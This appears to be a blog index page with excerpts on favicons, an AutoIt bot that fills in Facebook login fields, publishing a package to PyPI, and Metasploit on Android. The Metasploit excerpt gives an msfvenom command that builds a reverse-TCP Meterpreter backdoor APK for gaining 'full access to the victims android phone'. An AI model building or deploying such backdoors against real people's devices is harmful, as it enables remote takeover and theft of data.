[Favicons]Why use favicons?

Ever wondered why web programmers use favicon when designing a website?

Favicons may be little and very tiny things that are way out of people's eyes, but just try to search for a website without a favicon and you'll surely spot the difference. A favicon a very important from a branding's point of view.

What is a favicon?
The small image you see on almost every website, situated next to the website's title, is known as a favicon. Usually, it of size 16x16 pixels. See picture below for an example of a favicon.

What's the use of this small icon?

FavIcon - Short form for Favourite Icon.
A favicon is not mandatory, but if you care about user experience, you'll find it interesting to insert a favicon in your website. If you think from a visitor's point of view, upon seeing a favicon in a website, you get the impression that this website is the one you were searching for.

Are favicons important?

F*ck yeah, it is important!!!

Imagine facebook or youtube without their respective favicons, what logos would the world use to represent Facebook and Youtube! Favicons make life easier.

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3: #include Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically. It's simple, don't panic! You need to call a function with any name you want. Let's take loginfb() ! call ("loginfb") So, we only have to write the function loginfb now! Func loginfb() Global $oIE = _IECreate ("https://www.facebook.com/") Local $username = _IEGetObjByName ($oIE, "email") Local $password = _IEgetObjByName ($oIE, "pass") Local $button = _IEGetObjById ($oIE, "loginbutton") _IEFormElementSetValue ($username, "") // your email here! _IEFormElementSetValue ($password, "") //your fb password here! Send("{Enter}") EndFunc $username and $password are variables. "email" and "pass" are the names given to the textarea

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI. In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3 . Requirements: 1. Github account 2. Basic knowledge of python 3. setuptools - (pip3 install setuptools) 4. wheel - (pip3 install wheel) By the end of this blog post, you should be able to print hello world using a single command: Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world . At the time that I am writing this post, there is not package called print_hello_world on PyPI . Logically, after doing this tutorial, there might

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

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